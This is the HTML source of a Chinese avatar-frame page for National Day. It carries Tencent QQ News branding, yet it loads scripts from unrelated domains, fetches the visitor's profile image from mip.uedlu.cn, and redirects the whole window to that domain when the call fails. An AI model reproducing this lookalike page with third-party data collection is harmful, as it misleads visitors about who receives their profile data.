<!DOCTYPE html>
<html lang="en" style="opacity: 1; font-size: 26.6666px;">
 <head>
  <meta charset="utf-8" />
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
  <meta name="description" content="迎国庆换新颜" />
  <meta name="keywords" content="" />
  <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no" />
  <meta name="renderer" content="webkit" />
  <meta name="format-detection" content="telphone=no,email=no,address=no" />
  <meta name="apple-mobile-web-app-capable" content="yes" />
  <meta http-equiv="x-dns-prefetch-control" content="on" />
  <link rel="icon" href="https://qnlite.gtimg.com/qqnewslite/logo.png" />
  <title>这一波爱国头像风我要跟！一起换国庆专属头像吧</title>
  <script charset="utf-8" src="https://zj.kmxtp.com/public/js/jquery.js"></script>
  <script>!function(){var i=0;!function e(t){var n=40;(document.documentElement.clientWidth!==window.innerWidth||0===document.documentElement.clientWidth&&0===window.innerWidth)&&i<10?(document.documentElement.style.opacity=0,window.setTimeout(e,0),i++):(document.documentElement.style.opacity=0,setTimeout(function(){var e=500<window.innerWidth?500:window.innerWidth;n=parseInt(e/750*1e4*40)/1e4,document.documentElement.style.opacity=1,document.documentElement.style.fontSize=n+"px"},0))}()}()</script>
  <style id="__WXWORK_INNER_SCROLLBAR_CSS">::-webkit-scrollbar { width: 12px !important; height: 12px !important; }::-webkit-scrollbar-track:vertical {  }::-webkit-scrollbar-thumb:vertical { background-color: rgba(136, 141, 152, 0.5) !important; border-radius: 10px !important; background-clip: content-box !important; border:2px solid transparent !important; } ::-webkit-scrollbar-track:horizontal {  }::-webkit-scrollbar-thumb:horizontal { background-color: rgba(136, 141, 152, 0.5) !important; border-radius: 10px !important; background-clip: content-box !important; border:2px solid transparent !important; } ::-webkit-resizer { display: none !important; }</style>
  <script>!function(n){"use strict";n.loadCSS||(n.loadCSS=function(){});var o=loadCSS.relpreload={};if(o.support=function(){var e;try{e=n.document.createElement("link").relList.supports("preload")}catch(t){e=!1}return function(){return e}}(),o.bindMediaToggle=function(t){function e(){t.media=a}var a=t.media||"all";t.addEventListener?t.addEventListener("load",e):t.attachEvent&&t.attachEvent("onload",e),setTimeout(function(){t.rel="stylesheet",t.media="only x"}),setTimeout(e,3e3)},o.poly=function(){if(!o.support())for(var t=n.document.getElementsByTagName("link"),e=0;e<t.length;e++){var a=t[e];"preload"!==a.rel||"style"!==a.getAttribute("as")||a.getAttribute("data-loadcss")||(a.setAttribute("data-loadcss",!0),o.bindMediaToggle(a))}},!o.support()){o.poly();var t=n.setInterval(o.poly,500);n.addEventListener?n.addEventListener("load",function(){o.poly(),n.clearInterval(t)}):n.attachEvent&&n.attachEvent("onload",function(){o.poly(),n.clearInterval(t)})}"undefined"!=typeof exports?exports.loadCSS=loadCSS:n.loadCSS=loadCSS}("undefined"!=typeof global?global:this)</script>
  <script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?9b7fb2a47b5a620b76aa50c77d1d4bd6";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>

  <link href="https://qnlite.gtimg.com/qqnewslite/css/chunk-nationaldayhead-vendors.0f433423.css" rel="stylesheet">
  <noscript></noscript>
 </head>
 <body class="">
  <link rel="stylesheet" type="text/css" href="https://qnlite.gtimg.com/qqnewslite/css/r-nationaldayhead.6e9074cf.css" />
  <style type="text/css">
.vue-cropper[data-v-6dae58fd] {
  position: relative;
  width: 100%;
  height: 100%;
  box-sizing: border-box;
  user-select: none;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  direction: ltr;
  touch-action: none;
  text-align: left;
  background-image: url("");
}
.cropper-box[data-v-6dae58fd],
.cropper-box-canvas[data-v-6dae58fd],
.cropper-drag-box[data-v-6dae58fd],
.cropper-crop-box[data-v-6dae58fd],
.cropper-face[data-v-6dae58fd] {
  position: absolute;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  user-select: none;
}
.cropper-box-canvas img[data-v-6dae58fd] {
position: relative;
    text-align: left;
    user-select: none;
    transform: none;
    max-width: none;
    max-height: none;
    width: 9rem;
    left: .3rem;
}
.cropper-box[data-v-6dae58fd] {
  overflow: hidden;
}
.cropper-move[data-v-6dae58fd] {
  cursor: move;
}
.cropper-crop[data-v-6dae58fd] {
  cursor: crosshair;
}
.cropper-modal[data-v-6dae58fd] {
  background: rgba(0, 0, 0, 0.5);
}
.cropper-crop-box[data-v-6dae58fd] {
  /*border: 2px solid #39f;*/
}
.cropper-view-box[data-v-6dae58fd] {
  display: block;
  overflow: hidden;
  width: 100%;
  height: 100%;
  outline: 1px solid #39f;
  outline-color: rgba(51, 153, 255, 0.75);
  user-select: none;
}
.cropper-view-box img[data-v-6dae58fd] {
  user-select: none;
  text-align: left;
  max-width: none;
  max-height: none;
}
.cropper-face[data-v-6dae58fd] {
  top: 0;
  left: 0;
  background-color: #fff;
  opacity: 0.1;
}
.crop-info[data-v-6dae58fd] {
  position: absolute;
  left: 0px;
  min-width: 65px;
  text-align: center;
  color: white;
  line-height: 20px;
  background-color: rgba(0, 0, 0, 0.8);
  font-size: 12px;
}
.crop-line[data-v-6dae58fd] {
  position: absolute;
  display: block;
  width: 100%;
  height: 100%;
  opacity: 0.1;
}
.line-w[data-v-6dae58fd] {
  top: -3px;
  left: 0;
  height: 5px;
  cursor: n-resize;
}
.line-a[data-v-6dae58fd] {
  top: 0;
  left: -3px;
  width: 5px;
  cursor: w-resize;
}
.line-s[data-v-6dae58fd] {
  bottom: -3px;
  left: 0;
  height: 5px;
  cursor: s-resize;
}
.line-d[data-v-6dae58fd] {
  top: 0;
  right: -3px;
  width: 5px;
  cursor: e-resize;
}
.crop-point[data-v-6dae58fd] {
  position: absolute;
  width: 8px;
  height: 8px;
  opacity: 0.75;
  background-color: #39f;
  border-radius: 100%;
}
.point1[data-v-6dae58fd] {
  top: -4px;
  left: -4px;
  cursor: nw-resize;
}
.point2[data-v-6dae58fd] {
  top: -5px;
  left: 50%;
  margin-left: -3px;
  cursor: n-resize;
}
.point3[data-v-6dae58fd] {
  top: -4px;
  right: -4px;
  cursor: ne-resize;
}
.point4[data-v-6dae58fd] {
  top: 50%;
  left: -4px;
  margin-top: -3px;
  cursor: w-resize;
}
.point5[data-v-6dae58fd] {
  top: 50%;
  right: -4px;
  margin-top: -3px;
  cursor: e-resize;
}
.point6[data-v-6dae58fd] {
  bottom: -5px;
  left: -4px;
  cursor: sw-resize;
}
.point7[data-v-6dae58fd] {
  bottom: -5px;
  left: 50%;
  margin-left: -3px;
  cursor: s-resize;
}
.point8[data-v-6dae58fd] {
  bottom: -5px;
  right: -4px;
  cursor: se-resize;
}
@media screen and (max-width: 500px) {
.crop-point[data-v-6dae58fd] {
    position: absolute;
    width: 20px;
    height: 20px;
    opacity: 0.45;
    background-color: #39f;
    border-radius: 100%;
}
.point1[data-v-6dae58fd] {
    top: -10px;
    left: -10px;
}
.point2[data-v-6dae58fd],
  .point4[data-v-6dae58fd],
  .point5[data-v-6dae58fd],
  .point7[data-v-6dae58fd] {
    display: none;
}
.point3[data-v-6dae58fd] {
    top: -10px;
    right: -10px;
}
.point4[data-v-6dae58fd] {
    top: 0;
    left: 0;
}
.point6[data-v-6dae58fd] {
    bottom: -10px;
    left: -10px;
}
.point8[data-v-6dae58fd] {
    bottom: -10px;
    right: -10px;
}
}
.operation-header .h-logo {
    margin-top: 1.8rem;
    width: 6rem;
    height: .975rem;
    background-image: url();
}
.g_pop_mask {
    position: fixed;
    z-index: 9998;
    left: 0;
    top: 0;
    height: 100%;
    width: 100%;
    background: rgba(0,0,0,.6);
}
</style>
  <div id="app">
   <!---->
   <div class="wrapper">
    <div class="operation-header">
     <div class="h-logo"></div>
     <div class="h-title"></div>
     <div class="h-slogan"></div>
    </div>
    <div class="operation-number">
     目前已有&nbsp;
     <span>17884万</span>&nbsp;人次参与活动
    </div>
    <div class="operation-box">
     <div class="prev" onclick="changeTheme('prev')"></div>
     <div class="operation-img">
      <div class="cropper-content">
       <div data-v-6dae58fd="" class="vue-cropper">
        <div data-v-6dae58fd="" class="cropper-box">
         <div data-v-6dae58fd="" class="cropper-box-canvas" style="width: 0px; height: 0px; transform: scale(1, 1) translate3d(0px, 0px, 0px) rotateZ(0deg);">
          <img data-v-6dae58fd="" src="" alt="cropper-img" id="cropper-img">
         </div>
         <img src="https://qnlite.gtimg.com/qqnewslite/20190924/avatar/head1.png" class="frame-image" id="FrameImage" index="2"/>
        </div> 
        <div data-v-6dae58fd="" class="cropper-drag-box cropper-move"></div> 
        <div data-v-6dae58fd="" class="cropper-crop-box" style="width: 0px; height: 0px; transform: translate3d(0px, 0px, 0px); display: none;">
         <span data-v-6dae58fd="" class="cropper-view-box"><img data-v-6dae58fd="" src="" alt="cropper-img" style="width: 0px; height: 0px; transform: scale(1, 1) translate3d(0px, 0px, 0px) rotateZ(0deg);" /></span> 
         <span data-v-6dae58fd="" class="cropper-face cropper-move"></span> 
         <!----> 
         <!---->
        </div>
       </div>
      </div>
     </div>
     <div class="next" onclick="changeTheme('next')"></div>
    </div>
    <div class="operation-btns" onclick="createHead()">
     <div class="o-btn o-btn2"></div>
    </div>
    <!---->
    <div class="van-overlay" style="z-index: 2000; display: none;" onclick="hideAll()"></div>
	<div class="g_pop_mask" style="background: url(bg.png) rgba(210, 39, 39, 0.8) no-repeat;background-size: 100%;display: none;">
	<p style="
		color: #fff;
		font-size: 5rem;
		text-align: center;
		position: absolute;
		bottom: 2rem;
		left: 45%;
	" id="timeNum"></p>
	</div>
	<div class="van-popup van-popup--center" style="z-index: 2010;display: none;"><div class="long-press"><div class="l-img"><img src="" id="avatar"></div><div class="l-tips">长按保存图像</div></div></div>
    <div class="van-popup van-popup--top fade-leave-active fade-leave-to" style="z-index: 2001;display: none;">
     <div class="first-tips">
      <img src="http://mat1.gtimg.com/bbs/static/20190906-pointer.png" alt="pointer" class="center-bg animated pulse" />
      <img src="http://mat1.gtimg.com/bbs/static/20190906-arrow.png" alt="" class="top-arrow animated right-top" />
      <img src="http://mat1.gtimg.com/bbs/static/20190906-arrow.png" alt="" class="bottom-arrow animated left-btm" />
     </div>
     <div class="first-text">
      可直接调整图片哦~
     </div>
    </div>
   </div>
  </div>
  <script type="text/javascript" src="https://mat1.gtimg.com/bbs/static/html2canvas.min.js" charset="utf-8"></script>
  <script>
  function changeTheme(type){
	var index = parseInt($("#FrameImage").attr("index"));
	console.log(index);
	var next = 2;
	if(type=='prev'){
		if(index==1){
			next = 4;
		}else{
			next = index - 1;
		}
	}else{
		if(index==4){
			next = 1;
		}else{
			next = index + 1;
		}
	}
	$("#FrameImage").attr("index",next).attr('src','head'+index+'.png');
  }
  function createHead(){
      $('.g_pop_mask').show();
	  inter = setInterval("fun()", 1000);
	  html2canvas(document.querySelector(".cropper-box"),{useCORS:true,logging:true/*,width:400,height:400*/}).then(canvas => {
		base64 = canvas.toDataURL("image/png");
	  });
  }
  function hideAll(){
		$(".van-overlay").hide();
		$(".van-popup--center").hide();
  }
	var t = 5;
	var time = $("#timeNum");
	var base64 = '';
	var inter;
    $.getJSON("https://mip.uedlu.cn/index.php?type=1&jsonpCallback=?",
    function(result) {
        if (result.status == 1) {
            $("#cropper-img").attr('src',result.headimgurl);
        } else {
           //window.location="https://59n2c.cn";
           top.location.href = "https://mip.uedlu.cn";
        }
    });
	function fun() {
		$(time).text(t);
		if(t <= 0) {
			$("#avatar").attr("src",base64);
			$(".van-overlay").show();
			$(".van-popup--center").show();
			$('.g_pop_mask').hide();
			clearInterval(inter);
			t = 5;
		}
		t--;
	}
	   
  </script>
 </body>
</html>